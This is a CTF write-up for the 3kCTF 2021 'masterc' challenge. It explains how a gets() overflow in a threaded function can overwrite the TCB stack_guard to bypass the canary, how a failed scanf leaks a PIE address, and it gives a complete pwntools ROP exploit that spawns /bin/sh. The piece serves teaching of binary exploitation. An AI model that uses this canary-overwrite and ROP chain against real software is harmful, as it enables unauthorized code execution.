Threaded win? is that even a thing?
nc masterc.2021.3k.ctf.to 9999
In this challenge, we are provided with a tarball. Upon unpacking it, we are presented with the following files.
vagrant in pwnbox in /CTF/3kctf-2021/
❯ tree masterc
masterc
├── Dockerfile
├── bin
│ ├── flag.txt
│ ├── ld-2.31.so
│ ├── libc-2.31.so
│ └── masterc
├── ctf.xinetd
├── dockerbuild.sh
├── src
│ └── masterc.c
└── start.sh
How nice, they even provided us with the source code! But let’s not get ahead of ourselves. Lets start off by checking what security mitigations are present in the binary.
vagrant in pwnbox in masterc/bin
❯ checksec masterc
[*] '/CTF/3kctf-2021/masterc/bin/masterc'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Wow, seems like most of the mitigations are enabled. Looks like this will get pretty interesting. Perhaps we should play around with the binary to get a better idea of what it does.
vagrant in pwnbox in masterc/bin
❯ ./masterc
Enter the size : 1
Enter the number of tries : 1
Enter your guess : 1
Sorry, that was the last guess!
You entered 1 but the right number was 1670024690
I don't think you won the game if you made it until here ...
But maybe a threaded win can help?
>
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
*** stack smashing detected ***: <unknown> terminated
Aborted (core dumped)
Well, what do u know? Seems like we found a buffer overflow vulnerability in the input above. Running it in GDB should give us more context.
vagrant in pwnbox in masterc/bin
❯ gdb -q ./masterc
pwndbg: loaded 193 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./masterc...done.
pwndbg> r
Starting program: /CTF/3kctf-2021/masterc/bin/masterc
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Enter the size : 1
Enter the number of tries : 1
Enter your guess : 1
Sorry, that was the last guess!
You entered 1 but the right number was 983362954
I don't think you won the game if you made it until here ...
But maybe a threaded win can help?
[New Thread 0x7ffff77c2700 (LWP 31150)]
>
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
*** stack smashing detected ***: <unknown> terminated
Thread 2 "masterc" received signal SIGABRT, Aborted.
[Switching to Thread 0x7ffff77c2700 (LWP 31150)]
__GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:51
51 ../sysdeps/unix/sysv/linux/raise.c: No such file or directory.
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────
RAX 0x0
RBX 0x7ffff77c1d00 ◂— 0x0
RCX 0x7ffff7801fb7 (raise+199) ◂— mov rcx, qword ptr [rsp + 0x108]
RDX 0x0
RDI 0x2
RSI 0x7ffff77c1a60 ◂— 0x0
R8 0x0
R9 0x7ffff77c1a60 ◂— 0x0
R10 0x8
R11 0x246
R12 0x7ffff77c1d00 ◂— 0x0
R13 0x1000
R14 0x0
R15 0x30
RBP 0x7ffff77c1e90 —▸ 0x7ffff79798f1 ◂— cmp al, 0x75 /* '<unknown>' */
RSP 0x7ffff77c1a60 ◂— 0x0
RIP 0x7ffff7801fb7 (raise+199) ◂— mov rcx, qword ptr [rsp + 0x108]
──────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────
► 0x7ffff7801fb7 <raise+199> mov rcx, qword ptr [rsp + 0x108] <0x7ffff7801fb7>
0x7ffff7801fbf <raise+207> xor rcx, qword ptr fs:[0x28]
0x7ffff7801fc8 <raise+216> mov eax, r8d
0x7ffff7801fcb <raise+219> jne raise+252 <raise+252>
↓
0x7ffff7801fec <raise+252> call __stack_chk_fail <__stack_chk_fail>
0x7ffff7801ff1 nop word ptr cs:[rax + rax]
0x7ffff7801ffb nop dword ptr [rax + rax]
0x7ffff7802000 <killpg> test edi, edi
0x7ffff7802002 <killpg+2> js killpg+16 <killpg+16>
0x7ffff7802004 <killpg+4> neg edi
0x7ffff7802006 <killpg+6> jmp kill <kill>
──────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────
00:0000│ rsi r9 rsp 0x7ffff77c1a60 ◂— 0x0
... ↓
04:0020│ 0x7ffff77c1a80 ◂— 0xffffffff
05:0028│ 0x7ffff77c1a88 ◂— 0x0
06:0030│ 0x7ffff77c1a90 —▸ 0x7ffff77ccf90 ◂— lock add byte ptr [rax], r8b
07:0038│ 0x7ffff77c1a98 —▸ 0x7ffff7fe14f0 —▸ 0x7ffff77c3000 ◂— jg 0x7ffff77c3047
────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────
► f 0 7ffff7801fb7 raise+199
f 1 7ffff7803921 abort+321
f 2 7ffff784c967 __libc_message+631
f 3 7ffff78f7b61 __fortify_fail_abort+49
f 4 7ffff78f7b22
f 5 555555555483 win+77
f 6 4141414141414141
f 7 4141414141414141
──────────────────────────────────────────────────────────────────────────────────────────────────────
The most interesting part about the GDB output above lies in [New Thread 0x7ffff77c2700 (LWP 31150)]
. This tells us that the binary spawns a new thread to run the win()
function. This can be verified by cross referencing with the provided source code.
pthread_t tid;
pthread_create(&tid, NULL, (void*)win, NULL);
pthread_join(tid, NULL);
As seen above, win()
is called in a separate thread. This is big because it allows us to bypass the stack protector (canary), thereby creating an opportunity for us to use ROP to pwn this challenge.
In order to understand how this works, we need to understand the mechanism behind the stack protector.
pwndbg> disass win
Dump of assembler code for function win:
0x0000000000001436 <+0>: endbr64
0x000000000000143a <+4>: push rbp
0x000000000000143b <+5>: mov rbp,rsp
0x000000000000143e <+8>: sub rsp,0x20
0x0000000000001442 <+12>: mov rax,QWORD PTR fs:0x28
0x000000000000144b <+21>: mov QWORD PTR [rbp-0x8],rax
0x000000000000144f <+25>: xor eax,eax
0x0000000000001451 <+27>: lea rdi,[rip+0xbb7] # 0x200f
0x0000000000001458 <+34>: call 0x1140 <puts@plt>
0x000000000000145d <+39>: lea rax,[rbp-0x20]
0x0000000000001461 <+43>: mov rdi,rax
0x0000000000001464 <+46>: mov eax,0x0
0x0000000000001469 <+51>: call 0x11c0 <gets@plt>
0x000000000000146e <+56>: nop
0x000000000000146f <+57>: mov rax,QWORD PTR [rbp-0x8]
0x0000000000001473 <+61>: xor rax,QWORD PTR fs:0x28
0x000000000000147c <+70>: je 0x1483 <win+77>
0x000000000000147e <+72>: call 0x1150 <__stack_chk_fail@plt>
0x0000000000001483 <+77>: leave
0x0000000000001484 <+78>: ret
End of assembler dump.
With reference to the disassembly of win
as seen above, we observe the presence of the following snippet of disassembly in the function prologue.
0x0000000000001442 <+12>: mov rax,QWORD PTR fs:0x28
0x000000000000144b <+21>: mov QWORD PTR [rbp-0x8],rax
Based on our understanding of how a x64 stack frame is laid out, we should know that rbp-0x8
should contain the value of the stack canary. As seen above, the value at fs:0x28
is copied into rbp-0x8
which implies that fs:0x28
should contain the value of the canary.
0x000000000000146f <+57>: mov rax,QWORD PTR [rbp-0x8]
0x0000000000001473 <+61>: xor rax,QWORD PTR fs:0x28
0x000000000000147c <+70>: je 0x1483 <win+77>
0x000000000000147e <+72>: call 0x1150 <__stack_chk_fail@plt>
We can confirm our hypothesis by observing that the function epilogue contains the above disassembly. The value at rbp-0x8
is loaded into rax
and subsequently xor
-ed with the value at fs:0x28
to check it’s equivalence using the self-inverting property of xor. If it’s not equivalent, __stack_chk_fail
is called and the “stack smashing detected” message should pop up.
So what’s the significance of all this? Lets break at the gets()
function responsible for the buffer overflow vulnerability to find out.
pwndbg> context disassembly
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────
► 0x555555555469 <win+51> call gets@plt <gets@plt>
rdi: 0x7ffff77c1ed0 ◂— 0x0
rsi: 0x7ffff7baf7e3 (_IO_2_1_stdout_+131) ◂— 0xbb08c0000000000a /* '\n' */
rdx: 0x7ffff7bb08c0 (_IO_stdfile_1_lock) ◂— 0x0
rcx: 0x7ffff78d3257 (write+71) ◂— cmp rax, -0x1000 /* 'H=' */
0x55555555546e <win+56> nop
0x55555555546f <win+57> mov rax, qword ptr [rbp - 8]
0x555555555473 <win+61> xor rax, qword ptr fs:[0x28]
0x55555555547c <win+70> je win+77 <win+77>
0x55555555547e <win+72> call __stack_chk_fail@plt <__stack_chk_fail@plt>
0x555555555483 <win+77> leave
0x555555555484 <win+78> ret
0x555555555485 <play_game> endbr64
0x555555555489 <play_game+4> push rbp
0x55555555548a <play_game+5> mov rbp, rsp
──────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> stack
00:0000│ rdi rsp 0x7ffff77c1ed0 ◂— 0x0
... ↓
02:0010│ 0x7ffff77c1ee0 —▸ 0x7ffff77c2700 ◂— 0x7ffff77c2700
03:0018│ 0x7ffff77c1ee8 ◂— 0xf6f5753eabcde400
04:0020│ rbp 0x7ffff77c1ef0 ◂— 0x0
05:0028│ 0x7ffff77c1ef8 —▸ 0x7ffff7bbb6db (start_thread+219) ◂— mov qword ptr fs:[0x630], rax
06:0030│ 0x7ffff77c1f00 ◂— 0x0
07:0038│ 0x7ffff77c1f08 —▸ 0x7ffff77c2700 ◂— 0x7ffff77c2700
pwndbg> p/x $fs_base
$1 = 0x7ffff77c2700
pwndbg> vmmap stack
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack]
pwndbg> p/d ($fs_base-0x7ffff77c1ed0)
$2 = 2096
Observe that,
- our (unbounded) input would be read into
0x7ffff77c1ed0
(on the stack) - the location pointed to by
fs
is located at0x7ffff77c2700
(also on the stack).
If we calculate the delta, both addresses are merely 2096
bytes away from each other. We can reach the location pointer to by fs
with our input since gets
does an unbounded read.
To comprehend this phenomena, we need to understand what fs
points to in the first place. According to an article on StackGuard,
__stack_chk_guard
can be stored in various places; some architectures use TLS (Thread-local Storage) data for it.
Okay great. But what is the TLS data doing on the stack to begin with?
If we take a peek into the glibc 2.31 source code for stack allocation, we would chance upon the following:
# Snippet from glibc 2.31 source nptl/allocatestack.c
/* We place the thread descriptor at the end of the stack. */
*pdp = pd;
# if _STACK_GROWS_DOWN
void *stacktop;
# if TLS_TCB_AT_TP
/* The stack begins before the TCB and the static TLS block. */
stacktop = ((char *) (pd + 1) - __static_tls_size);
According to what we just found, a structure called the Thread Control Block (TCB) is placed at the top of the stack. Lets take a peek at the tls header file to gain some insight as to what the TCB struct contains.
# Snippet from glibc 2.31 source sysdeps/x86_64/nptl/tls.h
typedef struct
{
void *tcb; /* Pointer to the TCB. Not necessarily the
thread descriptor used by libpthread. */
dtv_t *dtv;
void *self; /* Pointer to the thread descriptor. */
int multiple_threads;
int gscope_flag;
uintptr_t sysinfo;
uintptr_t stack_guard;
uintptr_t pointer_guard;
unsigned long int vgetcpu_cache[2];
/* Bit 0: X86_FEATURE_1_IBT.
Bit 1: X86_FEATURE_1_SHSTK.
*/
unsigned int feature_1;
int __glibc_unused1;
/* Reservation of some values for the TM ABI. */
void *__private_tm[4];
/* GCC split stack support. */
void *__private_ss;
/* The lowest address of shadow stack, */
unsigned long long int ssp_base;
/* Must be kept even if it is no longer used by glibc since programs,
like AddressSanitizer, depend on the size of tcbhead_t. */
__128bits __glibc_unused2[8][4] __attribute__ ((aligned (32)));
void *__padding[8];
} tcbhead_t;
Bingo! So that’s where the stack_guard
is stored. We can actually confirm this in GDB by casting fs
as type (tcbhead_t *)
.
pwndbg> p/x *((tcbhead_t *)$fs_base)
$5 = {
tcb = 0x7ffff77c2700,
dtv = 0x555555559270,
self = 0x7ffff77c2700,
multiple_threads = 0x1,
gscope_flag = 0x0,
sysinfo = 0x0,
stack_guard = 0xf6f5753eabcde400,
pointer_guard = 0x70c617bfb6ee6e93,
vgetcpu_cache = {0x0, 0x0},
__glibc_reserved1 = 0x0,
__glibc_unused1 = 0x0,
__private_tm = {0x0, 0x0, 0x0, 0x0},
__private_ss = 0x0,
__glibc_reserved2 = 0x0,
__glibc_unused2 = {{{
i = {0x0, 0x0, 0x0, 0x0}
}, {
i = {0x0, 0x0, 0x0, 0x0}
}, {
i = {0x0, 0x0, 0x0, 0x0}
}, {
i = {0x0, 0x0, 0x0, 0x0}
}}, {{
i = {0x0, 0x0, 0x0, 0x0}
}, {
i = {0x0, 0x0, 0x0, 0x0}
}, {
i = {0x0, 0x0, 0x0, 0x0}
}, {
i = {0x0, 0x0, 0x0, 0x0}
}}, {{
i = {0x0, 0x0, 0x0, 0x0}
}, {
i = {0x0, 0x0, 0x0, 0x0}
}, {
i = {0x0, 0x0, 0x0, 0x0}
}, {
i = {0x0, 0x0, 0x0, 0x0}
}}, {{
i = {0x0, 0x0, 0x0, 0x0}
}, {
i = {0x0, 0x0, 0x0, 0x0}
}, {
i = {0x0, 0x0, 0x0, 0x0}
}, {
i = {0x0, 0x0, 0x0, 0x0}
}}, {{
i = {0x0, 0x0, 0x0, 0x0}
}, {
i = {0x0, 0x0, 0x0, 0x0}
}, {
i = {0x0, 0x0, 0x0, 0x0}
}, {
i = {0x0, 0x0, 0x0, 0x0}
}}, {{
i = {0x0, 0x0, 0x0, 0x0}
}, {
i = {0x0, 0x0, 0x0, 0x0}
}, {
i = {0x0, 0x0, 0x0, 0x0}
}, {
i = {0x0, 0x0, 0x0, 0x0}
}}, {{
i = {0x0, 0x0, 0x0, 0x0}
}, {
i = {0x0, 0x0, 0x0, 0x0}
}, {
i = {0x0, 0x0, 0x0, 0x0}
}, {
i = {0x0, 0x0, 0x0, 0x0}
}}, {{
i = {0x0, 0x0, 0x0, 0x0}
}, {
i = {0x0, 0x0, 0x0, 0x0}
}, {
i = {0x0, 0x0, 0x0, 0x0}
}, {
i = {0x0, 0x0, 0x0, 0x0}
}}},
__padding = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}
}
We can go a step further by printing the stack_guard
field directly.
pwndbg> p/x ((tcbhead_t *)$fs_base)->stack_guard
$6 = 0xf6f5753eabcde400
pwndbg> canary
AT_RANDOM = 0x7fffffffe529 # points to (not masked) global canary value
Canary = 0xf6f5753eabcde400
Found valid canaries on the stacks:
00:0000│ 0x7ffff77c1ee8 ◂— 0xf6f5753eabcde400
00:0000│ 0x7ffff77c1f98 ◂— 0xf6f5753eabcde400
00:0000│ 0x7ffff77c2728 ◂— 0xf6f5753eabcde400
00:0000│ 0x7ffff77c1ee8 ◂— 0xf6f5753eabcde400
00:0000│ 0x7ffff77c1f98 ◂— 0xf6f5753eabcde400
00:0000│ 0x7ffff77c2728 ◂— 0xf6f5753eabcde400
As depicted above the value of stack_guard
is 0xf6f5753eabcde400
which matches the value of the canaries present on the stack, quod erat demonstrandum.
So how do we bypass the canary check? Simply ensure that we overflow stack_guard
with a value of our choice, and ensure that we trample over rbp-0x8
with said value when we perform our ROP exploit.
Now that we’ve figured out how to bypass the canary check, we still need leak a PIE address so that we can calcuate our PIE base. The solution to this lies in the input for our guess.
pwndbg> context code
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────[ SOURCE (CODE) ]───────────────────────────────────────────
In file: /CTF/3kctf-2021/masterc/src/main.c
13 } while(c != e);
14 }
15
16 void get_ul(unsigned long* num) {
17 fflush(stdout);
► 18 scanf("%lu", num);
19 readuntil('\n');
20 }
21
22 int get_int() {
23 int d;
──────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> context disassembly
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────
► 0x555555555371 <get_ul+50> call __isoc99_scanf@plt <__isoc99_scanf@plt>
format: 0x555555556008 ◂— 0x3e00642500756c25 /* '%lu' */
vararg: 0x7fffffffe188 —▸ 0x555555555579 (set_number_of_tries+39)
0x555555555376 <get_ul+55> mov edi, 0xa
0x55555555537b <get_ul+60> call readuntil <readuntil>
0x555555555380 <get_ul+65> nop
0x555555555381 <get_ul+66> leave
0x555555555382 <get_ul+67> ret
0x555555555383 <get_int> endbr64
0x555555555387 <get_int+4> push rbp
0x555555555388 <get_int+5> mov rbp, rsp
0x55555555538b <get_int+8> sub rsp, 0x10
0x55555555538f <get_int+12> mov rax, qword ptr fs:[0x28]
──────────────────────────────────────────────────────────────────────────────────────────────────────
Observe that,
- Guess is read in using
scanf("%lu", num)
- Value of
num
before callingscanf
isset_number_of_tries+39
which is a PIE address.
Additionally, take note of the following excerpt from the scanf
man page.
The format string consists of a sequence of directives which describe how to process the sequence of input characters. If processing of a directive fails, no further input is read, and scanf() returns. A “failure” can be either of the following: input failure, meaning that input characters were unavailable, or matching failure, meaning that the input was inappropriate
Therefore, we can preserve the initial value of num
by supplying an “inappropriate” value for the "%lu"
format string such as "a"
.
pwndbg> r
Starting program: /CTF/3kctf-2021/masterc/bin/masterc
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Enter the size : 1
Enter the number of tries : 1
Enter your guess : a
Sorry, that was the last guess!
You entered 93824992236921 but the right number was 418023495
pwndbg> telescope 93824992236921
00:0000│ 0x555555555579 (set_number_of_tries+39) ◂— mov dword ptr [rbp - 4], eax
pwndbg> xinfo 93824992236921
Extended information for virtual address 0x555555555579:
Containing mapping:
0x555555555000 0x555555556000 r-xp 1000 1000 /CTF/3kctf-2021/masterc/bin/masterc
Offset information:
Mapped Area 0x555555555579 = 0x555555555000 + 0x579
File (Base) 0x555555555579 = 0x555555554000 + 0x1579
File (Segment) 0x555555555579 = 0x555555555000 + 0x579
File (Disk) 0x555555555579 = /CTF/3kctf-2021/masterc/bin/masterc + 0x1579
Containing ELF sections:
.text 0x555555555579 = 0x555555555220 + 0x359
As seen above, we’ve managed to preserve the value of num
by providing "a"
as an input. Furthermore, the program logic (conveniently) provides us with the value of our guess thus leaking a PIE address. From this point on, this challenge can be tackled as a “textbook” ROP challenge i.e. leak libc base, return to one gadget/system/execve. The following script implements our exploit.
from pwn import *
HOST = "masterc.2021.3k.ctf.to"
PORT = 9999
FLAG_FORMAT = "3k{\w+}"
REMOTE_FLAGPATH = "/flag.txt"
CHALLENGE = "./bin/masterc"
TARGET_LIBC = "./bin/libc-2.31.so"
TCB_OFFSET = 0x7FFFF77C2700 - 0x7FFFF77C1ED0
STACK_GUARD_OFFSET = TCB_OFFSET + 0x28
CANARY_OFFSET = 0x7FFFF77C1EE8 - 0x7FFFF77C1ED0
RIP_OFFSET = CANARY_OFFSET + 8 + 8
SIZE_PROMPT = b"Enter the size : "
TRIES_PROMPT = b"Enter the number of tries : "
GUESS_PROMPT = b"Enter your guess : "
INPUT_PROMPT = b"> \n"
GUESS_MARKER = b"You entered "
RIGHT_MARKER = b"right number was "
DUMMY_CANARY = p64(0xDEADBEEFDEADBEEF)
def leak_address():
return u64(io.recvline().rstrip().ljust(8, b"\x00"))
elf = context.binary = ELF(CHALLENGE, checksec=0)
if args.REMOTE:
libc = ELF(TARGET_LIBC, checksec=0)
io = remote(HOST, PORT)
else:
libc = elf.libc
io = elf.process()
with log.progress("Stage 1: Leak PIE address"):
io.sendlineafter(SIZE_PROMPT, str(1))
io.sendlineafter(TRIES_PROMPT, str(1))
io.sendlineafter(GUESS_PROMPT, "a")
io.recvuntil(GUESS_MARKER)
pie_1579 = int(io.recvuntil(" ")[:-1])
elf.address = pie_1579 - 0x1579
log.success(f"pie @ {hex(elf.address)}")
with log.progress("Stage 2: Overwrite Stack Guard and leak libc base"):
rop = ROP(elf)
rop.puts(elf.got.puts)
rop.win()
io.sendlineafter(
INPUT_PROMPT,
flat(
{
CANARY_OFFSET: DUMMY_CANARY,
RIP_OFFSET: rop.chain(),
STACK_GUARD_OFFSET: DUMMY_CANARY,
}
),
)
libc_puts = leak_address()
libc.address = libc_puts - libc.sym.puts
log.success(f"libc @ {hex(libc.address)}")
with log.progress("Stage 3: Pwn"):
rop1 = ROP([elf, libc])
rop1.execve(next(libc.search(b"/bin/sh\x00")), 0, 0)
io.sendlineafter(
INPUT_PROMPT,
flat({CANARY_OFFSET: DUMMY_CANARY, RIP_OFFSET: rop1.chain()}),
)
if args.REMOTE:
io.sendline(f"cat {REMOTE_FLAGPATH}")
log.success(f"Flag: {io.recvline_regexS(FLAG_FORMAT)}")
io.close()
else:
io.interactive()
Running the above exploit yields us the flag.
vagrant in pwnbox in 3kctf-2021/masterc
❯ python xpl.py REMOTE
[+] Opening connection to masterc.2021.3k.ctf.to on port 9999: Done
[+] Stage 1: Leak PIE address: Done
[+] pie @ 0x557ccf106000
[+] Stage 2: Overwrite Stack Guard and leak libc base: Done
[*] Loaded 14 cached gadgets for './bin/masterc'
[+] libc @ 0x7f30cf1a9000
[+] Stage 3: Pwn: Done
[*] Loaded 201 cached gadgets for './bin/libc-2.31.so'
[+] Flag: 3k{WH47_Pr3V3N7_Y0U_Fr0M_r0PP1N6_1F_Y0U_C4N_0V3rWr173_7H3_M4573r_C4N4rY_17531F}
Flag: 3k{WH47_Pr3V3N7_Y0U_Fr0M_r0PP1N6_1F_Y0U_C4N_0V3rWr173_7H3_M4573r_C4N4rY_17531F}